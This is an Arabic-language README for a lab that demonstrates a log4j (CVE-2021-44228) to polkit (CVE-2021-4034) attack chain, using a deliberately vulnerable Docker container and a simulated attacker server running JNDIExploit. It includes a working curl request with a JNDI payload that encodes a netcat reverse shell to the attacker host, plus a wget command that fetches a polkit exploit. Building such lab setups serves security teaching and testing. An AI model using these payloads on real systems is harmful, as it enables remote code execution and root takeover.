
إعداد ضعيف لعرض سلسلة هجوم لثغرة log4j CVE-2021-44228 مع تصعيد الامتيازات إلى الجذر باستخدام استغلال polkit CVE-2021-4034
مثيل قابل للاستغلال لثغرة log4j في Apache واستغلال رفع الصلاحيات باستخدام polkit
سيكون المثيل القابل للاستغلال قيد التشغيل ويستمع للاتصالات على المنفذ 80 (مكشوفًا على الجهاز المضيف) عند اكتمال الخطوات أدناه. الجزء القابل للاستغلال في ثغرة log4j هو ترويسة X-Api-Version التي يتم إرسالها إلى الخادم.
Docker: log4j-polkit-vulnerable-server
خطوات سحب وتشغيل صورة docker القابلة للاستغلال:
docker pull 0xalwayslucky/log4j-polkit-vulnerable-server
docker run -p 80:8080 0xalwayslucky/log4j-polkit-vulnerable-server
خطوات إنشاء مثيل قابل للاستغلال لـ log4j + polkit يدويًا:
ملاحظة: تتطلب ملفات Dockerfile إصدارات معينة من التطبيقات القابلة للاستغلال أن تكون موجودة داخل مستودعات ubuntu. إذا تم تحديث هذه الإصدارات و/أو إزالتها في أي وقت، فسيفشل بناء صورة docker. لحل هذه المشكلة، سيتم رفع صورة إلى docker hub وربطها هنا.
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/log4j-polkit-vuln
docker build -t log4j-polkit-vulnerable-server .
docker run -p 80:8080 --hostname victim log4j-polkit-vulnerable-server
سيحاكي هذا جهاز المهاجم، وفي هذه الحالة يكون موجودًا داخل نفس الشبكة (بسبب سهولة التواصل بين حاويات docker)، لكن الاستغلال يعمل بغض النظر عن مكان وجود خادم الهجوم هذا (الشرط الوحيد هو أن يكون الضحية قادرًا على الوصول إليه). سيتم استضافة خادم JNDI الخبيث هنا وإنشاء فئة خبيثة لتنفيذ أوامر عشوائية على جهاز الضحية.
خطوات إنشاء جهاز مهاجم محاكى:
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/attackserver
docker build -t attackserver .
docker run -it --hostname attackserver attackserver /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ip> -p 8888 & # in the docker container
أوامر من فيديو الإثبات
ملاحظة: قد يختلف عنوان IP الخاص بخادم الهجوم
# Log4j exploit
curl http://localhost -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMyA0NDQ0IC1lIC9iaW4vYmFzaA==}'
# Polkit exploit
wget https://raw.githubusercontent.com/afwu/CVE-2021-4035/main/cve-2021-4034-poc.c